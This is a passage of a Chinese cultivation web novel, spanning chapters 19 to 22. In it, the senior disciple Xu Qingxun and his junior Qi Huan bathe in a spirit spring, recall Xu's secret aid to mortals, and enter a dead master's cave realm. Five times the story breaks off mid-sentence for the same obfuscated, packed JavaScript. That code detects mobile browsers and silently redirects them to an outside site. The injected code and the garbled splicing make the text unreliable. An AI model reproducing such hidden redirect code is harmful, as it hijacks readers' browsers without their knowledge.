这时,祁桓突然望向远方,低声道:“虽然不知你在顾虑什么,但我要说的是,再不走,许如初前辈就要来这里了。” “什么!”许清浔当即回过神,连忙拉着祁桓飞遁,瞬间烧了十张缩地成寸符。 许如初追过来时,别说人影了,就连气息都感知不到丝毫。 许如初皱紧眉头,“是他自己跑的,还是让恶人掳走了。不管怎样,先回去吧。” - 不远处,某个无人洞府内,许清浔松了口气,转头看向表情淡淡的祁桓。说起来,这家伙是从何时开始学会了这种淡漠脸? 许清浔回忆了下,他记得祁桓一开始不这样,当时的少年祁桓,总是不经他调戏,他一捉弄就会气呼呼的,到底是从何时开始,这家伙习惯了,甚至游刃有余起来了? 他陷入沉思,一时间想不起转变的时间点是在何时。 而此时的祁桓目光望向洞府内,“又是你的秘密法府吗。” 许清浔一顿,抬起头道:“是,我来过这里,标记过,所以能用符文到达。对了,你算是走运了,这座法府的灵泉精纯,十分有助于修炼,尤其是对于炼体修士来说,看在你救过师兄的份上,师兄请你——” 他话音未落,祁桓径直走进了洞府深处。 许清浔目瞪口呆,心想这家伙又是何时开始这般不客气了,还尊不尊重师兄啊。他眉头一皱,立刻跟上祁桓的脚步,斜过眸子,玩笑般道:“师弟这么着急跟师兄共浴吗?” 他本意是恶心一下祁桓找找面子,没想到祁桓转头便道:“是吗,不赖。” 许清浔再次傻眼,回过神时,两人已经走到了灵气漫溢的灵泉边,上边天光侧漏,灵泉如白玉般洁亮,而他身边的男人已经开始脱衣。 啊,不是吧你。许清浔被祁桓的不按常理出牌惊到了,心想半年不见,这家伙咋回事,当初那个被脱衣服会面红耳赤大声抗议的暴躁少年去哪里了? 可是他纳闷时,那个男人当真脱完了道袍,毫无羞耻之态,就这么迈进灵泉之中,一步接一步,直到灵泉没入胸前。 他如此坦荡,反倒显得许清浔想太多了。 甚至,祁桓还抬眸道:“师兄不下来吗。” 许清浔愣住,耳尖微微发红,慢吞吞道:“下就下,师兄正好要醒醒酒!” 话虽如此,他也并没有全脱,可能是因为总有一种被盯着的诡异感觉吧。 不过,灵泉果然不愧为灵泉,上次来过一次,当时灵气还没有今日这般精纯,当初布下一些符文形成聚灵阵法,成功提高了其品质。 许清浔给点阳光就灿烂,此时心情大好,没忍住笑问对面的祁桓,“话说回来啊师弟,你以前不是总反抗师兄吗,是从何时开始不反抗了?” “你自己不知道吗。”祁桓微微抬眉。 许清浔耳尖再次泛红,理直气壮地小声说:“我当然知道,我就是想知道你怎么说。” 祁桓盯着许清浔,没有立刻回答。 因为这个问题,着实不好回答。他一开始确实不喜欢这个自来熟的所谓师兄,特别是这个师兄还喜欢管教他,知道对方可能倾心于他之后,更是反应激烈,想着忍辱负重,才待在其身边,但是后来…… 对,是那天,他实在受不了这个人的唠叨,所以打算利用《灭世魔经》的隐匿术法逃跑的那次,他本欲彻底永别了三玄宗,但在离开前,他又觉得不报复一下许清浔实在说不过去,所以……他隐身去了许清浔的修炼室。 当时,在那里,他看到修炼室无数法符飞舞,规矩流畅地收入几个法符盒内,心中纳闷以及不解,因为他认出了那些法符的品阶,不明白这个人炼那么多下品法符做什么,而且看上去只不是今日而已,是日日都在炼制。 这些法符对这个人来说已经没什么用了,更卖不出什么高价,虽然他也从未见过这个人外出卖符。 他想不明白,于是继续观察,竟从上午足足看到了晚上。都说炼制法符极其消耗精神力,更何况是如此数量的法符,换作一般符修,一天炼制一百张就足够透支精神力了,这个人足足炼了几千张,而且都是“无用”的下品法符,作用无非是生火、呼风、唤雨、大力等,究竟为何? 他观察着,百思不得其解,而对方甚至不眠不休炼制了三天三夜,这已经到了匪夷所思的地步。他明明要跑的,却诡异地留了下来,因为想看许清浔究竟要做什么,而且他记得,明日就是许清浔定时外出的日子,许清浔每到这个时间就会外出,谁也不知道他出去做什么,连二师兄李长金都不知道。 他觉得那是机会,于是跟踪了许清浔,跟着许清浔走出了三玄宗,前往东边。 东边有什么?他记得三玄宗的东边是罕见的和平富裕之地,自己十五岁时去过那里,当时他身受重伤,昏迷在了河边,是被一个农夫救了回去。 那个农夫名为张福,人挺好,敦厚老实,乐于助人,据说左臂生过怪病,肌肉萎缩无力,导致他一度不能干农活,险些养不起他的一家六口,三年前机缘巧合,一夜之间左臂恢复了正常,不仅正常,力气还更大了,至于是什么机缘巧合,张福也说不明白。 他在张福家躺了三日才恢复,之后可惜身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817477|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有外物,否则真想答谢一番。 当时的他一边回忆一边跟踪许清浔,不明白许清浔为何独自一人行动,还挂着一脸藏不住的笑意。这个人到底在笑什么? 随后,他就亲眼看到了,许清浔乔装打扮,隐匿行踪,走到了一个又一个村落人家,与人对话,与人微笑,将一张又一张对修士来说没什么用的法符,送到了凡人的手中。 甚至,他还亲眼看到许清浔来到了张福的家,蹲下身,摸了摸张福两个孩子的脑袋,随后跟张福悄声说话,问候其身体情况。 原来三年前许清浔意外碰见张福,发现其左臂的情况,送了一张大力符以及养生符,告诫张福不要告知他人,悄悄使用,便能养家糊口。 而他在后院听着他们说话,沉默了许久。 他心想,难怪东边会是和平富裕之地,这些年天灾人祸都安然无恙地挺了过来。只不过,给凡人以神通符真的是好事吗,不会反而使他们怀璧有罪,招来横祸吗。但他又想,若是没有那些神通符,那些人恐怕早就死了,给与不给,明显现实已经给出了答案。 至少目前没有事。 后来,他还听见许清浔大言不惭地对张福说了一句话。 ——“他日我若为帝,定要让世间人人皆能修行,便是出生没有灵窍的凡人,也有长生的希望。” 那是何等的大言不惭。 却字句如箭,连续射中了他的心口。 很久以前,他还小的时候,也曾这般大言不惭,敢叫日月换新天,却低头了,忘记了,一心只剩下对力量的追求,甚至依赖起了臭名昭著的魔经。 祁桓:“……” 那日夜里,他回到三玄宗,放弃了逃跑的想法。那日之后,他看许清浔顺眼了许多,甚至觉得这个人平日里的胡说八道也中听了许多,便是许清浔再如何调戏他,他也学会了平和应对,后来逐渐地游刃有余,甚至可以反制对方,比如在对方调戏他一起睡时,真的应了对方,然后表面平静内心却暗自爽快地看着对方局促的反应。 不过,也是那日之后,他才逐渐发现,许清浔爱的人许多,并不只是爱他一个,许清浔牵挂的事许多,并不只是牵挂他的事。 他不过是许清浔所爱之人中的一个,较为特殊地享受着与他人不同的爱而已。 想着这里,祁桓不自觉地笑了笑。 但是下一刻,祁桓突然面色一变,心想,等等,自己真的享受着与他人不同的“那份爱”吗? 祁桓瞳孔一震,忽然抬眸,死死地盯着那个仿佛对他的存在毫不关心的白发青年。 万一,一切都是他想多了,其实许清浔……从来都没有如自己所想的,爱过自己呢? 一瞬间而已,祁桓好似心脏中了一箭,被连骨带肉地彻底刺穿了。 与此同时,许清浔汗流浃背,心脏几乎跳到了嗓子眼。 19.第十九章 许清浔如芒刺背,汗毛直立,但想不通自己哪里惹到祁桓了,话说这小子的气势真是越来越逼人了,随便一道眼神,就能看得人浑身发毛。 虽然没练魔经,但莫名有那个变态的威势。 他有点顶不住,微侧首,开口道:“师弟怎么了吗?” “……没怎么。” 祁桓依然神色淡淡,只是目光有些滲人,或许他也意识到了自己盯着许清浔不对劲,突然问:“倒是师兄,你完全不好奇拦截神舟之人的身份吗。” 许清浔一愣,下意识道:“我大概知道他们的身份,所以不好奇。” 祁桓意味不明地轻笑一声,“师兄神机妙算,算得出他们的身份,却算不到自己会被抓。” 许清浔立马红了脸,心想臭小子,到底要挖苦我多少次才行啊,不就是冷落了你半年吗,至于这么记恨师兄吗?再说了,师兄一直牵挂着你呢。 许清浔气得咬牙,却又想到这些年自己对祁桓的种种劣迹,愧疚很快冲淡了愤怒,弱声道:“是是,师兄不是说了吗?便是师兄,也不可能知尽天下事。” 说出这话的他,在刚遇到祁桓的时候,可天天大言不惭地说他无所不知来着,回旋镖真是虽迟但到啊,谁知道过去那些心血来潮的轻薄言语,到现在会一记又一记地砸到他脑袋上。 他郁闷着,抬眸看一眼祁桓,竟见对方唇线上扬,调笑他的意味过于明显了。 完了,他可是发誓要成为龙傲天大哥的男人,怎能反被小弟如此拿捏? 这个头,绝对不能开! 许清浔振奋精神,目光火热地盯着祁桓,忽然笑道:“分别的半年里,师弟是不是日夜想念师兄呀?” 可是,与他预想的相反,祁桓淡淡道:“是。” 许清浔一顿,难以置信,接着又玩味地道:“是不是觉得师兄不在,任何事都提不起劲了?” 祁桓没有直接回答,反问道:“倒是师兄,这半年来,过得可真滋润。” 许清浔语塞,心想修炼的日子哪有滋润的,咱又不是种马龙傲天,天天左拥右抱,无数妹子投怀送抱。不过,场子不能丢! 他微抬下巴,故作风流状,笑道:“师弟怎么知道?你不在的这些日子,师兄的守真岛人来人往,求婚贴都收到了好几封。” 此乃谎言,他的守真岛别说人,连鸟都没几只,至于求婚贴,那更是无中生有,便是有,那也只会送去许家。 不过,他还没说完,整个洞府的温度仿佛瞬间降了下来,空气凝固,取而代之的是冻彻骨髓的杀气。 许清浔额头滴下了一颗冷汗。 而发出杀气的青年依然是一副淡然的脸,“哦,那师兄每月十五外出,想必都是去找求婚的对象了。” 许清浔背脊发凉,却也只能硬着头皮继续道:“师弟聪慧,果然一言就中,害,谁让师兄魅力过人,稍稍出手,便住在了人家心里,不得不亲自前去妥善拒绝,以免耽误了人家的道途。” 他这话纯纯是胡说八道了,根本站不住脚,他说完自己都羞愧,却没想到祁桓笑了,似乎是发自内心的那种笑。 那双常显阴郁的眸子在这一刻仿佛生出了些许光明,令许清浔诧异地张大眼睛,略微失神。 “师兄的生活,果然是趣味非常。”祁桓笑完才道,然而声音里还留有笑韵。 许清浔目瞪口呆,没想到自己那番逻辑稀碎的话反而逗笑了祁桓,这小子……真的越来越让人搞不懂了。 “咳。”许清浔强行严肃起来,正色道:“不说这些有的没的了,师弟,老实说,你练出神通了吗。” 神通,一般来说,乃少数金丹修士,以及元婴以上修士才能掌握的手段。 他问筑基期的祁桓有没有练出神通,并不是一件正常之事。 然而,祁桓却沉思了片刻,回答:“隐隐约约,掌握了些。” 许清浔眼睛大亮,心中赞许,不愧是龙傲天,即便不修什么魔经,也能凭自己的力量提前开拓出神通! 没错,有没开拓出神通这件事,在九界天才会尤其重要,是决胜的大关键!九界天才会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827970|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将会有一大批筑基境就开拓出了本命神通的天才神人,神通强于术法强于战技,拥有神通之人,在同一个境界,绝对能够吊打没有神通之人。 只不过,原著中的祁桓最开始是经魔协助,才开拓出了本命神通,现在的祁桓呢? 许清浔露出疑惑的眼神,详细问道:“隐隐约约是何意?你是从何时开始感觉到了本命神通的觉醒?” 他们在灵泉中坦诚相待,中间隔着浓重的雾化灵气,但不影响看清彼此的面容。 祁桓沉默了下,缓缓抬眸,隔着白雾,目光无意间落在对方仍留有索纹的脖颈上,眉头不由一皱,仿佛谁弄脏了他珍藏了许久的上品美玉似的,令他瞬间杀心暴起。 对面的许清浔不知他心思,以为问了不该问之事,面露困惑。然后他又惊觉,自己竟踩雷了还不自知,本命神通是修士的杀手锏,是秘中之秘,怎么可能轻易告诉他人。 而祁桓又收起杀气,淡淡道:“三个月前杀敌时,无意间领略到了。” 许清浔正欲道歉,猝不及防地听到了他的回答,不禁有些错愕,“你……” 祁桓似乎知道他在想什么,直言:“一点小事,告诉你也无妨,反正关于你的事,我知道的更多。” 许清浔一愣,心中大为感动,“师弟真是越来越善解人意了。” 祁桓唇线上扬,似乎很喜欢对方夸赞自己,虽然表面上仍旧不动声色。 “不过,我好奇这个是想着以后的配合,你大可放心,我便是知道了,也不会对你做什么的。”许清浔认真地补充道。 “我知道。” 说着,黑发青年忽然站起身来,似乎已经在灵泉滋养够了。白雾着缭绕他的身躯,又缓缓地散去,不经意间露出一具堪称完美的肉.体。 其身颀长,宽肩窄腰,肌肉流畅得如起伏的山岳,浑身上下皆演绎着一种名为暴力的美,仅站立而已,便有一种睥睨天下的气势。 猝不及防之下,许清浔简直看呆了眼。 可恶,这就是顶尖炼体流龙傲天吗! 20.第二十章 这儿只有男人,你再怎么开屏,也没有女修能看见! 许清浔腹诽,却又忍不住瞄了一眼,虽说他是直男,但他也不得不说,看祁桓穿衣是一种享受,对眼睛太舒服了。 咳咳,我在想什么?死大脑,快想正事啊喂! 许清浔又小咳一声,一本正经道:“对了,九界天才会凶险无比,你既然已经隐约开拓了神通,那便随我去一个地方吧。” 原著里,经魔为了帮祁桓强化神通,指引祁桓去了那个地方,而今经魔的情况不明,估计还没有指引祁桓过去,他寻思,既然如此,就由他来指引。 祁桓淡淡地应了一声,问:“什么地方。” “三玄宗的东边的东边,你随我去便知。”许清浔也站起身来,法力自动编织成袍,将身体包裹,不露多余的肌肤。 祁桓似乎转头看了一眼,但又缓缓抬起眸子。 许清浔见他不回答,走出灵泉才问:“怎么了吗。” “没,去便去。” 祁桓言简意赅,听不出什么情绪。 许清浔心想,这家伙到底何时开始走上了酷哥路线,明明以前少年时可爱得多。 不过,时间紧急,不能再耽误了。 好在他起床时装备齐全,身上法符完备,法宝丹药足够,便是几年不回宗,也完全绰绰有余。 他掏出一张缩地成寸符外与十方定足符,将灵知灌入其中,再习惯地转头,正欲唤祁桓牵住他的手,而没等他开口,祁桓已经若无其事地牵住了他的手腕。 许清浔呆了呆,抬起头,只见祁桓一副镇定的模样。他睁大眼睛,沉默了一会,紧接着周身光影变幻,两人立时消去身影,再出现便是在一座山岳之上。 周围巨木环绕,到处都是草腥味。 他站定脚步,等待灵光散去,便看见了一片巨大无边的荒野。 黄棕色的大地,仿佛被几把利刃砍伤了一般,裂开几道狰狞的大缝。太阳西倾,却依然毫不客气地烧灼着这片土地,似乎势要将其灼尽。 “那里环境这般恶劣,不知要耗费多少法符才能改造得宜居。” 触目惊心之下,许清浔忽然开口,眉头紧皱着,几乎忘记了身边还有祁桓。 祁桓顿了顿,转眸看着许清浔,“师兄所说的宜居,是指宜凡人居住吗。” 许清浔面色一变,不好回答,迟疑了一下才道:“嗯。” 祁桓似乎来了兴趣,问:“师兄是修士,为何关心凡人之事?” 许清浔没想到他会追问,多少有些惊讶,下意识想隐瞒,又觉得,说出实话也无妨。 “……说来话长。” 他垂下双眸,目光罕见地有些深沉。 不得不说,他刚来到这世界的时候,是十足的穿越者心态,再加上家世、天赋、财富什么都有了,自然自信无比,满脑子只想着修炼修炼,可劲修炼,卷成只手遮天、无敌一世的最强者。其他之事,他既不在意,也从不想去在意,更别说根本不可能入他眼的凡人了。 可是正所谓物极必反,忽然有一天,他摔了跟头,在追杀一个魔修的途中身受重伤,法符用尽,还将近昏迷,几乎没有了自保之力。当时他倒在草丛里,终于醒悟过来,自己虽是穿越者、修士,但也终究是一具肉.体凡胎,会受伤会失败,甚至会死。 强者不可能恒强,便是诸多buff加身的自己,时候到了,运势低了,也会有一命呜呼,在无人之地低微地死去那一天。 那时,血都近乎流干了,肾上腺素欺骗了脑子,让他完全感觉不到痛苦,只有一种说不出的疲惫,眼皮恐有万钧之重,怎么也抬不起来。 他想着,他就要死了,要在没有闯下任何成就、没有修成一代至高的时候死了。 视野模糊不清,到最后陷入一片黑暗,他仿佛置身海底,渐渐地沉没、窒息,连挣扎的念头都撑不起来。 不知过了多久,黑暗才终于破了一道裂缝。 极小的,却又无比耀眼的裂缝,令他看到了希望,有了再次撑起求生念头的动力。 他那时仿佛破胸而出的喜悦,简直无法用语言形容,死命地抓住了救生索。 后来,他才逐渐看清周围,发现自己在一间草屋里,没有天花板,只有横竖几根梁木,看不见的光明处总是传来一些声音,有鸡鸣声、鸟叫声,还有婴儿的啼哭声。 这里似乎是一个凡人的家。他意识过来后,内心缓缓震惊,他想过自己可能被师门救、被师弟师妹救、被许家救,但完全没有想过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834545|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己会被凡人救,心神受到了前所未有的冲击。 于是,他开始思考一些,他以前从未思考过的东西。 那个救他的人,名为张福,是个憨厚老实的农夫,割完小麦的路上看见他浑身是血的倒在河边,连忙放下两箩小麦救他回家,结果天暗了回头一看,才知小麦不见了。 这般倒霉之事,张福回忆时却毫不后悔,说人命比麦子重要,还好救活了他。 他当时没法自由动弹,表达不了感激,但深深地记在了心里。 几天过后,他终于有所恢复,不仅能起身,还能走路了。他向张福表达感激,记住了他们一家所在,后小心地赶回宗门,服下丹药完全恢复。 那次意外之后,他谨慎多了,苦修三个月,终于大成,于是立刻去了张福家,却没想到在他离开的这段时间里,张福被歹人陷害,左臂生了“怪病”。 他怒了,当即医治张福,后去消灭歹人。那歹人不过是学了一丝魔修手段的凡人而已,很快便解决了,但他知道,这样的人,世间不会只有一个。 张福一家都是凡人,太弱小,弱到在这个怪力乱神的世界里,根本经不起一点点风吹雨打。 甚至也不只是张福一家,大到玄界,再大到九界,放眼望去,都是如此。 忽然间,他开始厌恶起强者的道理,因为有强者就有弱者,前者随便一点手段,就能给后者带来毁灭。 这样的想法,让他开始排斥许家,乃至横行玄界的三大宗,让他最终选择了虽然弱小,但相对与世无争的三玄宗。 在三玄宗,他可以自由地做一些在修士看来堪称愚蠢至极的事。 到五年前想起《醒红尘》的剧情,知道一个灭世变态即将诞生,他自然要想方设法阻止。 因为——“一个人,无论有多大的愤怒、多大的仇恨、多大的委屈,也不能成为摧毁那么多人的幸福的理由。” 许清浔顿时凛然,更加坚定了心中所想。 他微微一笑,抬头对祁桓说:“为何关心凡人之事?当然是因为……师兄乐意!” 他说话时,《原始太虚经》玉简所化的戒指忽然闪过一道光。 “乐意……” 祁桓呆了呆,心口仿佛被撞了一下。 21.第二十一章 但祁桓回过神来,眉头一皱,“只是因为乐意吗?” 许清浔笑了笑,好奇地凑近祁桓,“怎么,对师兄的事感兴趣了吗?” 祁桓呆住,耳尖微微发烫,嘴上却冷道:“我对男人不感兴趣。” “哈哈哈!”许清浔笑着摆了摆手,转身道:“好啦,闲事休提,随师兄走吧,目的地就在前面,这一片不太安宁,你也要小心。” “好。”祁桓镇定下来,似乎隐隐有些不快,但不知是对自己,还是对许清浔。 一路无事,许清浔在前,破开一道又一道的阵法,有时轻松,有时犯难,在阵法前冥思苦想,而祁桓一声不吭,只等许清浔唤他。 五年说长不长,但足以培养习惯、形成默契,祁桓习惯了让许清浔探路,自己警戒周围,而若遇到强敌,则迅速变成许清浔的利刃,铲除一切危险。 中途确实出现了一些强敌,比如眼前的,实力堪比金丹初期的古老傀儡。 许清浔当即后退数步,无须言说,祁桓直冲上前去,背后的剑匣随着他的战意振动,伸出一柄血红的直刀,他反手握刀,疾行如电,只留下残影。 人形傀儡不仅高大,还长着六只手,每只手上都持有法宝,攻击防御修复一应俱全,一只傀儡就是一个军队,释放出的灵力震碎了脚下的土地。 祁桓迎着强压挥刀,身法飘然若蝶,轻且准,游刃有余地躲过人形傀儡的连环猛攻。 人形傀儡好似怒了,猛地爆发灵力放出大招,而祁桓瞬间消失,又突然闪现于人形傀儡的手臂上,踩着其上臂向其头部极速冲去,裹着灵力的直刀一记立劈,傀儡的头部“哐”的一声分裂,随即砸落在地,整个躯体也土崩瓦解。 整个过程不过是一眨眼而已,许清浔定睛一看时,祁桓已经收刀落地,黑发随风飘舞,五官俊到了极致。 许清浔略为诧异,他寻思,这家伙不黑化真的还挺好的,虽然没有如他所愿走上王道龙傲天路线,但这酷哥路线。 好吧,也不赖,而且,至少比初见时的苦大仇深模样有人情味多了。非要挑一个不好之处,那恐怕是学会顶撞师兄了吧? 当然,许清浔心里更多的还是自豪。 因为这个男人之所以走到今日这一步,至少有他一半的功劳,若不是他当年天天苦口婆心地天天唠叨祁桓走出自己的法,祁桓能走出这条路吗? 他满意地无声道:“这才是你该走的路,什么仇恨冲晕头脑,满脑子都是力量,那不过是作者发疯乱写的你,但话虽如此,我若是早点想起《醒红尘》的事,早点认识你,帮你避过了灭门之祸,会不会更好……” 想着,他不由得自责起来,表情沉郁,低声喃喃道:“我若是足够强大,强大到走出岁月长河改变过去,又或许……” “师兄在说什么。” 许清浔沉思之时,一道声音打破了他的思考。他愣了愣,下意识地抬起头,猝不及防地撞进了对方的眼里。 黑发青年沉静地站在他面前,眼神淡淡,但似乎含着几分担扰。 这家伙,也会担扰自己吗。 会不会从许如初手下救出自己,其实也是因为担扰? 许清浔瞳孔微缩,心情一阵波澜。 他从小就是大人眼中的小大人,孩子们眼中的孩子王,爱动爱热闹,爱召集小伙伴玩,小学的时候最喜欢的运动就是丢沙包,体育课一旦自由活动,他就立马喊人,他总觉得热热闹闹才是生活,总喜欢身边有很多兄弟朋友。 很多时候,他的周围也确实如此。但是有时候,他也会怕是自己自作多情,怕实际上对方根本不想跟他玩,怕兄弟朋友们其实觉得他……很烦。 他记得许多人的生日,给许多人祝福,但极少人会记得他的生日,给他祝福,有时候甚至家人都不一定记得。 他的热情,说不定是对别人的打扰。 社交的尺度难以把握,或许真是他想的太少,错的太多,虽然他自己难以自觉。这种感觉……时而让他感到寂寞,心仿佛空了一大块。 而,眼前这个家伙,居然也会担忧自己吗。 许清浔呆呆地想到这里,内心的空虚之处仿佛突然被填了大片,当即眼睛大亮,喜笑颜开。 “不要在战场走神。”祁桓看许清浔不知在思考什么,一本正经道:“这不是你教我的吗。” “哈哈,是是,我们家小师弟真是越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841088|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越好了。”许清浔笑着跟祁桓勾肩搭背,方才的郁气瞬间全无,走路生风,神采飞扬。 祁桓被迫闻着许清浔身上的兰花香,腰上还挂上了对方嚣张的手,面色微变,却没有说什么。 “嚣张”起来的青衣修士心情大好,张手横列三张法符,一张化作白光冲向前方,一张撼动周围阵法,一张则肉眼可见地流淌出流水般的灵力,注入人形傀儡所化的黄土堆。 不多时,黄土堆再次成形,又化成了六只手的人形傀儡,与原先的差别是额头有一道裂缝,那是祁桓亲自斩下的。 祁桓抬眸望着它成形,不咸不淡道:“师兄居然还有傀儡符。” 许清浔大笑,“师兄会的本事可多着呢,修炼界三百六十种神通秘术,你师兄一符通之,无所不能!” “是吗。”祁桓笑了一下,“却一觉醒来被绑走了。” 许清浔嘴角微僵,心想师兄才感动一下,你就迫不及待拆台了?啥时候才能做一个油嘴滑舌的暖男傲天啊。 不过,这不过是一个小插曲,两人接着继续前行,傀儡跟随在后。 他们越到里面,越不敢有丝毫的大意。 祁桓身后的剑匣不断颤动,好几柄刀剑铮铮作响,仿佛感知到了什么危险。他停步,忽然看了许清浔一眼。 许清浔也停下脚步,周身升起了六张法符,法符上面灵力闪现,如金蛇盘绕,照亮了深色的森林。 三步远处,瘴气漫溢,带来丝缕森人的凉意。 祁桓拔了刀,面无表情。 许清浔忽然道:“师弟后退一步。” 祁桓下意识地照做。 下一瞬,瘴气幻化成一头山岳般巨大的黑色巨兽,向他们猛然进攻,暴虐的灵力摧枯拉朽地冲击而来,仿佛一阵海啸。 而许清浔一根手指点着虚空,六张法符列阵成形,瞬间唤来一株天雷。 只听轰的一声,整片天地都仿佛被照亮了,而青衣修士恣意一笑,身后的巨兽一块块地崩解。 他转头,问:“看,半年不见,师兄是不是又强了许多?” 祁桓似乎走神了一下,因为在他眼里,看到的是一个绝色之人朝自己展开笑颜。 22.第二十二章 两人继续前行。 许清浔虽然知道这里是什么地方,但也是第一次来,担心发生什么与原著不同的变数。 他轻声道:“我是从许家的古籍中知道了这个地方。” 祁桓转眸。 许清浔面不改色,继续道:“这里,据说是两位化神期大能的死后残躯所化的人体洞天。” 一花一世界,人也是一世界,越强大的修士,体内的世界越广阔与丰富。 他道:“我们如今在洞天外围,正在一步步走进去。” 祁桓问:“化神期残躯所化的人体洞天,外围结界绝对不简单,我们二人如何进得去。” “这就是天才的用武之地了。”许清浔一笑,接着毫无障碍地打开了结界。 眼前光景变幻,忽然显现出一座富丽堂皇的宫殿,雕梁画栋,好不华丽。 许清浔停步,转头对祁桓道:“他们两位大能之中,有一位大能的神通是可以强化他人神通的神通。” 祁桓一愣,似乎第一次听说这种神通,不理解道:“强化他人神通的神通,对自己有何用?” 许清浔就知道他会这么问,笑道:“人家有道侣,你说对自己有没有用?” 祁桓还是不理解,盯着许清浔问:“有道侣,然后呢?” 许清浔愣住,才想起来祁桓从小被他姐姐教育,说世上负心人多,便是夫妻、道侣,到变心的时候也会变心,除了自己之外,世上没有人值得信赖。 这就麻烦了。许清浔目光望向前方,确认面前的景象与原著所写没有差别,边走边道:“人家自然是互相帮助。” 结界打开之后,里面反而安全了,既没有傀儡也没有法术所变的妖兽。 祁桓跟在许清浔身后,不置可否,忽然开口道:“修真四要素,法地财侣,我认为,侣最难求,” 许清浔呆住,脚步都缓了下来,奇怪道:“不对吧,不应该是法最难求吗?你知道多少修士终其一生只为求一本混沌古经吗?” 祁桓依然道:“知道,但还是侣最难求。”他似乎有些心事,看许清浔的目光与往常不太一样,带了几分沉郁,几分失落,还有一分……许清浔说不清的东西。 许清浔想问,奈何场合不对,只得沉默下来,先带祁桓到里面再说。 古殿外在恢弘,内在素雅,走近一看,才见里面的光景。 三面墙上皆挂着水墨画,画幅前所未见的宽大,左边画着两个少年的来时路,中间画着两个青年的求道历程,后边则是两个中年的寿终末路。 《醒红尘》这本书里,坏人很多,好人很少,而这两人就是少有的好人,他们留下人体洞天只为传法给有缘人,并没有设置太危险的障碍。 话虽如此,许清浔迈入殿内时还是提起了十二分精神。片刻后无事发生,他才放心下来,转头道:“好了没事,进来吧。” 他话音未落,祁桓已经踏入殿中,目光扫过墙上的画。 许清浔则是看向了前方,更准确的说,是案桌前的三个蒲团上。 他刚要动作,祁桓忽然道:“这些画是什么意思。” 许清浔一顿,转头看向祁桓,又跟着祁桓的目光看向正中央的画卷,聚焦于其中一个较为亲密的画面上。 画面里,面目清俊的男人半搂着掩住面目的女人,靠在她耳边不知说着什么话,眼里满是爱意。 祁桓若不问,他还真注意不到,确实,两个老前辈无缘无故,画那么多画做什么?许清浔边想边道:“人家多年道侣,老夫老妻,闲着没事画画,然后挂在这儿,给后辈秀恩爱?” 祁桓愣了一下,好像根本没想到这个可能。 许清浔一看,忍不住笑道:“怎么,你是羡慕人家?” 祁桓沉默不语。 许清浔不明白,“别看画了,看到前面的蒲团没有?坐那儿修炼就能触发神通,我家古籍上写着。” 祁桓转头,“你家古籍上记的东西这么详细吗。” 许清浔顿时语塞,小咳了一声,道:“没错,是又怎么,我许家人向来心思缜密。” 祁桓闻言唇线上扬,像是被许清浔逗笑了,毕竟谁不知道三玄宗的大师兄虽强大无敌,但常常疏忽大意。 许清浔耳尖微红,只好催促道:“你快去打坐,我给你护法。” 祁桓摇头,“师兄先去吧,我给师兄护法。” 许清浔一脸诧异,怀疑道:“师弟,半年不见,你好像……变了许多? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847665|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 祁桓表情淡淡,扫了许清浔一眼,看不出什么情绪,只道:“我没有变,倒是师兄你变了。” 许清浔一顿,心中纳闷,自己何时变了? “那只是你的错觉吧?”许清浔摸着下巴分析。 